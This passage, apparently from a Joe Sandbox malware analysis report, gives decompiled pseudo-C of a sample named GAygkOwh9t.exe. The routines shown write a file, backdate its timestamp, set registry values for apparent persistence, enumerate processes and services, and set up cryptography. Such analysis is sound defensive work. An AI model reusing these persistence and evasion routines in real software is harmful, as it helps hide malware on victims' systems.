				memset(_t88 + 0x208, 0, 0x24c << 0);
				FindFirstFileW(??, ??); // executed
				_v1724 =  *0x0136298A - 0x6c9861f5;
				if(_v1724 != 0xffffffff) {
					 *((long long*)(0x1370d00))();
					_v1740 =  *0x013786B0();
					 *((long long*)( *0x01361530 + 0x204406))();
				}
				return _v1740;
			}

0x01378d80
0x01378d85
0x01378d92
0x01378d9c
0x01378db0
0x01378db0
0x01378dc8
0x01378e2a
0x01378e3c
0x01378e52
0x01378e54
0x01378e6d
0x01378e8f
0x01378e8f
0x01378dca
0x01378dd7
0x01378de9
0x01378e01
0x01378e03
0x01378e0e
0x01378e17
0x01378e17
0x01378e1b
0x01378e93
0x01378ead
0x01378ecc
0x01378edf
0x01378f05
0x01378f0a
0x01378f27
0x01378f46
0x01378f48
0x01378f53
0x01378f76
0x01378f9c
0x01378fb2
0x01378fb2
0x01378fc0

APIs

FindFirstFileW.KERNELBASE ref: 01378F46

Strings

C:\Users\user\Desktop\plugins\GAygkOwh9t.exe, xrefs: 01378DDD, 01378E4B, 01378E59

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 0136E7F0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38
encryption

C-Code - Quality: 100%

			E0136E7F0(long long __rbx, long long _a8) {
				intOrPtr _v24;
				long long _t24;

				if( *0x47394a20 == 0) {
					r9d = 1;
					_a8 = __rbx;
					r8d = 0;
					_v24 = 0xf0000040;
					 *((long long*)( *0x01363B13 - 0x78f5ec4d))();
					_t24 =  *0x1383520; // 0x27a3bc00
					_t25 =  ==  ? __rbx : _t24;
					 *0x1383520 =  ==  ? __rbx : _t24;
					 *((long long*)( *0x0136141A - 0x76edd5e1))();
					 *((long long*)( *0x013659BA + 0x368c01))();
					return 0 |  *0x01383520 != __rbx;
				} else {
					return 1;
				}
			}

0x0136e808
0x0136e81c
0x0136e828
0x0136e82d
0x0136e830
0x0136e83d
0x0136e83f
0x0136e84a
0x0136e84e
0x0136e863
0x0136e875
0x0136e889
0x0136e80a
0x0136e814
0x0136e814

APIs

CryptAcquireContextA.ADVAPI32 ref: 0136E83D

Strings

@, xrefs: 0136E830

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 0136E9F0, Relevance: 3.1, APIs: 2, Instructions: 95thread

APIs

GetNativeSystemInfo.KERNEL32 ref: 0136EA4C
CreateThread.KERNEL32 ref: 0136EB34

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 013756F0, Relevance: 1.7, APIs: 1, Instructions: 187

C-Code - Quality: 63%

			E013756F0(void* __edi, void* __esp, void* __eflags, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v8;
				void* _v16;
				void* _v546;
				short _v548;
				void* _v560;
				intOrPtr _v600;
				void* _v604;
				void* _v632;
				long long _v640;
				char _v660;
				intOrPtr _v664;
				long long _v668;
				char _v676;
				long long _v684;
				char _v692;
				long long _v700;
				char _v708;
				long long _v716;
				char _v724;
				long long _v732;
				char _v740;
				long long _v748;
				long long _v756;
				long long _v760;
				long long _v764;
				signed int _v780;
				signed int _v784;
				signed int _v788;
				long long _v796;
				signed char _v802;
				signed char _v803;
				signed char _v804;
				intOrPtr _v808;
				void* _t92;
				void* _t96;
				void* _t107;
				void* _t124;
				void* _t131;
				long long _t152;
				long long _t155;
				long long _t158;
				long long* _t164;
				long long _t170;
				long long _t173;
				long long _t176;

				_a16 = __rdx;
				_a8 = __rcx;
				_v760 = 0;
				_v640 = 0;
				memset(__edi, 0, 0x28 << 0);
				_t131 = __edi + 0x28;
				GetSystemInfo(??); // executed
				_v796 = 0;
				E0136B3B0(E0136B3E0( &_v740, 0x137dea0), 0x137dea0);
				_v748 =  *0x013611FA - 0x1f33ee84;
				_t152 = _v748;
				_t92 =  *_t152();
				_v764 = _t152;
				E0136B3C0(_t92,  &_v740);
				E0136B3B0(E0136B3E0( &_v724, 0x137ded0), 0x137ded0);
				_v732 =  *0x01362093 + 0x30cda7;
				_t155 = _v732;
				_t96 =  *_t155();
				_v756 = _t155;
				E0136B3C0(_t96,  &_v724);
				E0136B3B0(E0136B3E0( &_v708, 0x137def8), 0x137def8);
				_v716 =  *0x01362183 - 0x3c53e07e;
				_t158 = _v716;
				 *_t158();
				_v796 = _t158;
				if(_v796 != 0) {
					_v788 = 0;
				} else {
					_v788 = 1;
				}
				_v804 = _v788 & 0x000000ff;
				E0136B3C0(_v788 & 0x000000ff,  &_v708);
				if((_v804 & 0x000000ff) != 0) {
					E0136B3B0(E0136B3E0( &_v692, 0x137df20), 0x137df20);
					_v700 =  *((intOrPtr*)(0x1362183)) - 0x3c53e07e;
					_t170 = _v700;
					 *_t170();
					_v796 = _t170;
					if(_v796 != 0) {
						_v784 = 0;
					} else {
						_v784 = 1;
					}
					_v803 = _v784 & 0x000000ff;
					E0136B3C0(_v784 & 0x000000ff,  &_v692);
					if((_v803 & 0x000000ff) != 0) {
						E0136B3B0(E0136B3E0( &_v676, 0x137def8), 0x137def8);
						_v684 =  *((intOrPtr*)(0x1362183)) - 0x3c53e07e;
						_t173 = _v684;
						 *_t173();
						_v796 = _t173;
						if(_v796 != 0) {
							_v780 = 0;
						} else {
							_v780 = 1;
						}
						_v802 = _v780 & 0x000000ff;
						E0136B3C0(_v780 & 0x000000ff,  &_v676);
						if((_v802 & 0x000000ff) != 0) {
							E0136B3B0(E0136B3E0( &_v660, 0x137df20), 0x137df20);
							_v668 =  *((intOrPtr*)(0x1362183)) - 0x3c53e07e;
							_t176 = _v668;
							_t124 =  *_t176();
							_v796 = _t176;
							E0136B3C0(_t124,  &_v660);
						}
					}
				}
				_v548 = 0;
				memset(_t131, 0, 0x208 << 0);
				while(_v784 < _v600) {
					r9d = 0x30;
					 *((long long*)( *0x0136198A - 0x450bd67e))();
					r9d = 0x104;
					_v808();
					_t164 =  *0x013646CA + 0x3df7d5;
					_t107 =  *_t164();
					if(_t164 == 0) {
						_v784 = _v664 + _v640;
						continue;
					}
					L19:
					return _t107;
				}
				_t107 = 0;
				goto L19;
			}

0x013756f0
0x013756f5
0x01375702
0x0137570b
0x01375729
0x01375729
0x01375740
0x01375742
0x01375768
0x0137577b
0x01375783
0x01375788
0x0137578a
0x01375794
0x013757b6
0x013757c9
0x013757d1
0x013757d6
0x013757d8
0x013757e2
0x01375807
0x0137581a
0x01375827
0x0137582c
0x0137582e
0x01375839
0x01375845
0x0137583b
0x0137583b
0x0137583b
0x01375852
0x0137585e
0x0137586a
0x01375890
0x013758a3
0x013758b3
0x013758bb
0x013758bd
0x013758c8
0x013758d4
0x013758ca
0x013758ca
0x013758ca
0x013758e1
0x013758ed
0x013758f9
0x0137591f
0x01375932
0x01375942
0x0137594a
0x0137594c
0x01375957
0x01375963
0x01375959
0x01375959
0x01375959
0x01375970
0x0137597c
0x01375988
0x013759aa
0x013759bd
0x013759cd
0x013759d5
0x013759d7
0x013759e4
0x013759e4
0x01375988
0x013758f9
0x013759eb
0x01375a05
0x01375a07
0x01375a27
0x01375a42
0x01375a44
0x01375a62
0x01375a6d
0x01375a83
0x01375a88
0x01375aaa
0x00000000
0x01375aaa
0x01375ab6
0x01375abe
0x01375abe
0x01375ab4
0x00000000

APIs

GetSystemInfo.KERNELBASE ref: 01375740

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 013793B0, Relevance: 1.7, APIs: 1, Instructions: 170file

APIs

WriteFile.KERNEL32 ref: 01379475

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01378D80, Relevance: 1.6, APIs: 1, Instructions: 118

C-Code - Quality: 77%

			E01378D80(void* __edi, void* __esp, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v20;
				void* _v28;
				void* _v592;
				void* _v620;
				intOrPtr _v624;
				void* _v636;
				void* _v1138;
				short _v1140;
				void* _v1152;
				void* _v1164;
				void* _v1654;
				short _v1656;
				void* _v1668;
				void* _v1680;
				char _v1688;
				signed int _v1692;
				void* _v1696;
				intOrPtr _v1704;
				long long _v1708;
				long long _v1724;
				intOrPtr _v1740;
				void* _t88;

				_a16 = __rdx;
				_a8 = __rcx;
				_v1704 = 0;
				_v1656 = 0;
				memset(__edi, 0, 0x208 << 0);
				_t88 = __edi + 0x208;
				if(( *(0x1383770 +  &_v1654 * 0) & 0x0000ffff) != 0) {
					r8d = 0xffffffff;
					 *0x01370CE0();
					 *0xFFFFFFFF887C4C32();
					_v1692 = 0x1370c00;
					if(( *(0x1383560 + _v1692 * 2 - 2) & 0x0000ffff) != 0x5c) {
						 *0x01370D00();
					}
				} else {
					r8d = 0xffffffff;
					 *((long long*)(0x1370ce0))();
					 *0xFFFFFFFFAF9ED3B9();
					_v1708 = 0x1370bc0;
					if(_v1708 != 0) {
						 *((short*)(_v1708 + 2)) = 0;
					}
				}
				_v1140 = 0;
				memset(_t88, 0, 0x208 << 0);
				E0136B3B0(E0136B3E0( &_v1688, 0x137e128), 0x137e128);
				_v1696 = 0x1370d10;
				E0136B3C0( *_v1696(),  &_v1688);
				_v624 = 0;
				memset(_t88 + 0x208, 0, 0x24c << 0);
				FindFirstFileW(??, ??); // executed
				_v1724 =  *0x0136298A - 0x6c9861f5;
				if(_v1724 != 0xffffffff) {
					 *((long long*)(0x1370d00))();
					_v1740 =  *0x013786B0();
					 *((long long*)( *0x01361530 + 0x204406))();
				}
				return _v1740;
			}

APIs

FindFirstFileW.KERNELBASE ref: 01378F46

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136F750, Relevance: 1.6, APIs: 1, Instructions: 57

APIs

FindFirstFileW.KERNELBASE ref: 0136F773

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01377EC0, Relevance: 1.5, Strings: 1, Instructions: 224
Crypto

C-Code - Quality: 64%

			E01377EC0(void* __ecx, long long __rbx, void* __rdx, long long __rsi, void* __r9, long long __r12) {
				intOrPtr _t55;
				intOrPtr _t68;
				intOrPtr _t73;
				intOrPtr _t96;
				long long* _t130;
				long long _t132;
				long long _t152;
				long long _t153;
				long long _t201;
				long long _t204;
				long long _t206;
				long long _t210;
				void* _t215;
				void* _t216;
				long long _t225;
				long long* _t228;

				_t225 = __r12;
				 *((long long*)(_t215 + 0x20)) = __rbx;
				_t216 = _t215 - 0x1a0;
				r14d = __ecx;
				r8d = 0x138;
				E01365A30();
				 *((long long*)(_t216 + 0x30)) =  *((intOrPtr*)(_t216 + 0x1f0));
				 *((long long*)(_t216 + 0x28)) =  *((intOrPtr*)(_t216 + 0x1e8));
				 *((long long*)(_t216 + 0x20)) =  *((intOrPtr*)(_t216 + 0x1e0));
				_t55 =  *0x013728E0(); // executed
				if(_t55 != 0) {
					 *((long long*)(_t216 + 0x1c0)) = _t210;
					 *((long long*)(_t216 + 0x1c8)) = __rsi;
					_t206 =  *((intOrPtr*)(_t216 + 0x1f8));
					 *((long long*)(_t216 + 0x1d0)) = __r12;
					r12d = 0;
					_t96 = r12d;
					 *((intOrPtr*)(_t216 + 0x70)) = r12d;
					L2:
					L2:
					if(_t206 == 0) {
						 *0x4ce9cc89(); // executed
						 *0x4ce9cc89(); // executed
						 *0x01378290();
						 *0x01379910();
						 *0x01373560();
						r8d = 0;
						_t130 = 0x1372d10;
						 *0x7850b34c();
					} else {
						_t130 = 0x1372d30;
						 *0xFFFFFFFFF5769E4A();
						_t206 = _t225;
					}
					if(_t96 == 0) {
						r9d = 0;
						_t130 =  *0x01364923 + 0x194349;
						 *((intOrPtr*)(_t216 + 0x28)) = 1;
						 *((long long*)(_t216 + 0x20)) = _t225;
						 *_t130();
					}
					 *((intOrPtr*)(_t216 + 0x70)) = r12d;
					if(r14d == 0) {
						goto L9;
					}
					_t130 =  *0x01362A3A - 0x4acdf8f6;
					 *_t130();
					_t96 = _t96 + 1;
					if(_t96 < 6) {
						goto L2;
					}
					L9:
					 *((long long*)(_t216 + 0x50)) = _t225;
					 *0xFFFFFFFFFB3D64D3();
					 *((long long*)(_t216 + 0x40)) = _t225;
					 *((long long*)(_t216 + 0x38)) = _t216 + 0x50;
					_t132 =  *0x01363A6A - 0x28ddcfb6;
					 *((long long*)(_t216 + 0x30)) = _t225;
					r9d = 0;
					 *((intOrPtr*)(_t216 + 0x28)) = 0x102;
					r8d = 0;
					 *((intOrPtr*)(_t216 + 0x20)) = r12d;
					dil =  *_t132() == 0;
					if(_t130 != 0) {
						_t132 = 0x13743d0;
						 *0x71db6da9();
					}
					if(dil != 0) {
						 *0x01374260();
						_t201 = _t132;
						 *((long long*)(0x1374260))();
						_t152 = _t132;
						 *((long long*)(0x1374260))();
						_t228 =  *0x013639B3 - 0x5dd8db43;
						_t68 =  *0xFFFFFFFF905BACF1();
						r9d = 1;
						 *((intOrPtr*)(_t216 + 0x28)) = _t68;
						r8d = 0;
						 *((long long*)(_t216 + 0x20)) = _t152;
						 *_t228();
						if(_t132 != 0) {
							_t132 = 0x13743d0;
							 *((long long*)(0x13743d0))();
						}
						if(_t152 != 0) {
							_t132 = 0x13743d0;
							 *((long long*)(0x13743d0))();
						}
						if(_t201 != 0) {
							_t132 = 0x13743d0;
							 *((long long*)(0x13743d0))();
						}
						 *((long long*)(0x1374260))();
						_t153 = _t132;
						 *((long long*)(0x1374260))();
						_t204 = _t132;
						 *((long long*)(0x1374260))();
						_t73 =  *0x01370BE0();
						r9d = 1;
						 *((intOrPtr*)(_t216 + 0x28)) = _t73;
						r8d = 0;
						 *((long long*)(_t216 + 0x20)) = _t204;
						 *_t228();
						if(_t132 != 0) {
							 *((long long*)(0x13743d0))();
						}
						if(_t204 != 0) {
							 *((long long*)(0x13743d0))();
						}
						if(_t153 != 0) {
							 *((long long*)(0x13743d0))();
						}
						 *((long long*)( *0x01363AC3 - 0x61b81266))();
					}
					 *0x01373570();
					_t55 = 1;
				}
				return _t55;
			}

0x01377ec0
0x01377ec0
0x01377eca
0x01377ed7
0x01377edc
0x01377eea
0x01377efe
0x01377f17
0x01377f2d
0x01377f32
0x01377f37
0x01377f3d
0x01377f4d
0x01377f55
0x01377f5d
0x01377f65
0x01377f68
0x01377f6b
0x00000000
0x01377f70
0x01377f78
0x01377fa7
0x01377fb3
0x01377fbf
0x01377fd6
0x01377fef
0x01377ff8
0x01377ffb
0x01378009
0x01377f7a
0x01377f84
0x01377f8d
0x01377f8f
0x01377f8f
0x0137800d
0x01378016
0x01378021
0x01378027
0x01378033
0x01378038
0x01378038
0x0137803a
0x01378042
0x00000000
0x00000000
0x01378050
0x01378056
0x01378058
0x0137805d
0x00000000
0x00000000
0x01378063
0x0137806a
0x01378084
0x0137808a
0x0137809b
0x013780a0
0x013780a6
0x013780ab
0x013780ae
0x013780b6
0x013780bc
0x013780d3
0x013780da
0x013780e2
0x013780e8
0x013780e8
0x013780ed
0x01378104
0x0137810a
0x0137810d
0x01378117
0x01378121
0x0137813f
0x01378146
0x0137814e
0x01378154
0x01378158
0x0137815e
0x01378163
0x01378169
0x01378171
0x01378177
0x01378177
0x0137817c
0x01378184
0x0137818a
0x0137818a
0x0137818f
0x01378197
0x0137819d
0x0137819d
0x013781b0
0x013781b6
0x013781b9
0x013781c3
0x013781cd
0x013781d6
0x013781de
0x013781e4
0x013781e8
0x013781ee
0x013781f3
0x013781f9
0x01378207
0x01378207
0x0137820c
0x0137821a
0x0137821a
0x0137821f
0x0137822b
0x0137822b
0x01378240
0x01378240
0x01378255
0x0137825f
0x0137826c
0x01378288

Strings

Lb, xrefs: 0137822D

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01372DC0, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 296
registrytimefile

C-Code - Quality: 22%

			E01372DC0(void* __edi, void* __esp, void* __eflags, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				intOrPtr _v16;
				void* _v48;
				long long _v68;
				char _v76;
				long long _v84;
				char _v92;
				char _v96;
				long long _v100;
				void* _v104;
				char _v112;
				long long _v120;
				void* _v128;
				long long _v152;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed short _v190;
				signed short _v192;
				signed short _v194;
				signed short _v196;
				signed short _v198;
				signed short _v202;
				signed short _v204;
				char _v208;
				long long _v212;
				void* _v216;
				long long _v220;
				long long _v224;
				intOrPtr _v228;
				long long _v232;
				long long _v236;
				long _v240;
				void* _v244;
				long long _v248;
				intOrPtr _v252;
				long long _v256;
				void* _v260;
				long long _v264;
				long long _v272;
				signed int _v280;
				long long _v288;
				signed int _v292;
				intOrPtr _v296;
				signed int _v300;
				long long _v304;
				signed int _v308;
				signed int _v316;
				void* _t163;
				signed int _t178;
				long _t184;
				void* _t192;
				void* _t198;
				void* _t200;
				void* _t227;
				void* _t228;
				long long _t241;
				long long _t274;
				long long _t277;

				_a16 = __rdx;
				_a8 = __rcx;
				E0136B3B0(E0136B3E0( &_v112, 0x137d1d8), 0x137d1d8);
				_v120 = 0x1370db0;
				_t241 = _v120;
				_t163 =  *_t241();
				_v224 = _t241;
				E0136B3C0(_t163,  &_v112);
				_v264 = 0;
				_v272 = 0;
				_v280 = 1;
				r9d = 0;
				r8d = 1;
				CreateFileW(??, ??, ??, ??, ??, ??, ??); // executed
				_v192 =  *0x01362E8A + 0x69b0b;
				if(_v192 != 0xffffffff) {
					_v152 = 0;
					_v280 = 0;
					r8d =  *(_a8 + 0x30);
					WriteFile(??, ??, ??, ??, ??); // executed
					_v232 = 0;
					memset(__edi, 0, 4 << 0);
					_t227 = __edi + 4;
					 *((long long*)( *0x01361D43 + 0xe94d3))();
					_v220 = 0;
					memset(_t227, 0, 4 << 0);
					_t228 = _t227 + 4;
					_v228 = _v252;
					_v232 = _v256;
					_v232 = _v232 - 0x7f3d4000;
					_v252 = _v228;
					_v256 = _v232;
					SetFileTime(??, ??, ??, ??);
					 *((long long*)( *0x0136203A - 0x4ec641ef))();
					if( *((long long*)(_v16 + 0x60)) == 0) {
						_v128 =  *0x013614CA + 0x286cf0;
						 *_v128();
						if( *((long long*)(_v16 + 0x60)) == 0) {
							_v208 = 0;
							E0136B3B0(E0136B3E0( &_v112, 0x137dc60), 0x137dc60);
							_v120 =  *0x01363913 - 0x5997535b;
							_v272 = 0;
							_v280 =  &_v208;
							_v288 = 0;
							_v296 = 0x102;
							_v304 = 0;
							r9d = 0;
							r8d = 0;
							_t184 = RegCreateKeyExW(??, ??, ??, ??, ??, ??, ??, ??, ??); // executed
							_v240 = _t184;
							E0136B3C0(_t184,  &_v112);
							if(_v240 != 0) {
								E0136B3B0(E0136B3E0( &_v96, 0x137dc60), 0x137dc60);
								_v104 =  *((intOrPtr*)(0x1363913)) - 0x5997535b;
								_v272 = 0;
								_v280 =  &_v208;
								_v288 = 0;
								_v296 = 0x102;
								_v304 = 0;
								r9d = 0;
								r8d = 0;
								_v240 =  *_v104();
								E0136B3C0(_t208,  &_v96);
							}
							if(_v240 == 0) {
								_v192 = 0;
								memset(_t228, 0, 0xe << 0);
								E0136B3B0(E0136B3E0( &_v92, 0x137dcd0), 0x137dcd0);
								_v100 = 0x1370db0;
								_t274 = _v100;
								_t192 =  *_t274();
								_v236 = _t274;
								E0136B3C0(_t192,  &_v92);
								 *((long long*)( *0x01362B43 + 0x31a48c))();
								_v184 = _v190 & 0x0000ffff;
								_v180 = _v192 & 0x0000ffff;
								_v176 = _v194 & 0x0000ffff;
								r8d = _v198 & 0x0000ffff;
								_v172 = r8d;
								r9d = _v202 & 0x0000ffff;
								_v168 = r9d;
								r10d = _v204 & 0x0000ffff;
								_v164 = r10d;
								E0136B3B0(E0136B3E0( &_v76, 0x137dd00),  *0x01362B43 + 0x31a48c);
								_v84 = 0x1370db0;
								_v292 = _v184;
								_v300 = _v180;
								_v308 = _v176;
								_v316 = _v196 & 0x0000ffff;
								r9d = _v172;
								r8d = _v168;
								_t277 = _v84;
								_t198 =  *_t277();
								_v212 = _t277;
								E0136B3C0(_t198,  &_v76);
								_t200 =  *0xFFFFFFFFAD7908AC();
								_v68 =  *0x01363CA3 - 0x1985a9bc;
								_v308 = _t200 + 1;
								_v316 = _v236;
								r9d = 1;
								r8d = 0;
								RegSetValueExW(??, ??, ??, ??, ??, ??);
								 *((long long*)( *0x01363AC3 - 0x61b81266))();
								if(_v236 != 0) {
									 *0x0136FE30();
								}
								_v236 = 0;
								if(_v212 != 0) {
									 *((long long*)(0x136fe30))();
								}
								_v212 = 0;
							}
							 *0x4d89129e();
							 *((long long*)(_v16 + 0x60)) = 0x1370c30;
						}
						_v48 =  *0x01362433 - 0x19dad633;
						 *_v48();
					}
					if(_v248 != 0) {
						 *((long long*)(0x136fe30))();
					}
					_v248 = 0;
					_t178 = 1;
				} else {
					if(_v224 != 0) {
						 *((long long*)(0x136fe30))();
					}
					_v224 = 0;
					_t178 = 0;
				}
				return _t178;
			}

0x01372dc0
0x01372dc5
0x01372df2
0x01372e05
0x01372e24
0x01372e2c
0x01372e2e
0x01372e3b
0x01372e4d
0x01372e56
0x01372e5e
0x01372e66
0x01372e69
0x01372e79
0x01372e7b
0x01372e86
0x01372eb4
0x01372ecc
0x01372ee5
0x01372efa
0x01372efc
0x01372f13
0x01372f13
0x01372f27
0x01372f29
0x01372f40
0x01372f40
0x01372f46
0x01372f4e
0x01372f67
0x01372f70
0x01372f78
0x01372f9d
0x01372fb1
0x01372fc0
0x01372fe0
0x01372ff3
0x01373002
0x01373008
0x01373034
0x01373047
0x0137304f
0x01373060
0x01373065
0x0137306e
0x01373076
0x0137307e
0x01373081
0x01373096
0x01373098
0x013730a4
0x013730ae
0x013730d4
0x013730e7
0x013730ef
0x01373100
0x01373105
0x0137310e
0x01373116
0x0137311e
0x01373121
0x01373138
0x01373144
0x01373144
0x0137314e
0x01373156
0x01373170
0x01373192
0x013731a5
0x013731b5
0x013731bd
0x013731bf
0x013731cc
0x013731e6
0x013731f0
0x013731ff
0x0137320e
0x0137321d
0x01373226
0x0137322e
0x01373237
0x0137323f
0x01373248
0x01373271
0x01373284
0x01373293
0x0137329e
0x013732a9
0x013732ad
0x013732b8
0x013732c2
0x013732cf
0x013732d7
0x013732d9
0x013732e9
0x01373300
0x01373317
0x0137331f
0x01373328
0x0137332d
0x01373333
0x0137334e
0x01373365
0x0137336d
0x01373381
0x01373381
0x01373383
0x01373395
0x013733ac
0x013733ac
0x013733ae
0x013733ae
0x013733cc
0x013733d6
0x013733d6
0x013733f4
0x01373407
0x01373407
0x0137340f
0x01373423
0x01373423
0x01373425
0x0137342e
0x01372e88
0x01372e8e
0x01372ea2
0x01372ea2
0x01372ea4
0x01372ead
0x01372ead
0x0137343b

APIs

CreateFileW.KERNEL32 ref: 01372E79
WriteFile.KERNEL32 ref: 01372EFA
SetFileTime.KERNELBASE ref: 01372F9D
RegCreateKeyExW.ADVAPI32 ref: 01373096
RegSetValueExW.ADVAPI32 ref: 0137334E

Strings

Lb, xrefs: 01373350

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 013777F0, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 218

APIs

OpenSCManagerA.SECHOST ref: 01377810
OpenServiceW.SECHOST ref: 013779F0
CloseServiceHandle.SECHOST ref: 01377B63

Strings

UXAr, xrefs: 013778A8, 0137792B, 01377A18, 01377ADC, 01377B52

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01377640, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0137765B
Process32FirstW.KERNEL32 ref: 013776C7
Process32NextW.KERNEL32 ref: 01377795

Strings

?c:{, xrefs: 0137766E

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01370170, Relevance: 6.2, APIs: 4, Instructions: 233
network

C-Code - Quality: 45%

			E01370170(void* __rax, long long __rcx, long long __rdx, long long __r9) {
				signed int _t98;
				void* _t135;
				signed int _t137;
				long long* _t143;
				signed int _t147;
				void* _t148;
				long long* _t153;
				long long* _t155;
				signed int _t156;
				signed int _t187;
				void* _t197;
				signed int _t201;
				void* _t202;
				signed int _t203;
				void* _t205;
				void* _t206;
				void* _t208;
				void* _t209;
				long long _t228;
				signed int _t229;
				void* _t231;
				signed int _t232;
				void* _t234;
				intOrPtr* _t235;
				void* _t237;
				intOrPtr* _t239;
				long long* _t242;

				_t135 = __rax;
				 *((long long*)(_t208 + 0x20)) = __r9;
				 *((intOrPtr*)(_t208 + 0x18)) = r8w;
				 *((long long*)(_t208 + 0x10)) = __rdx;
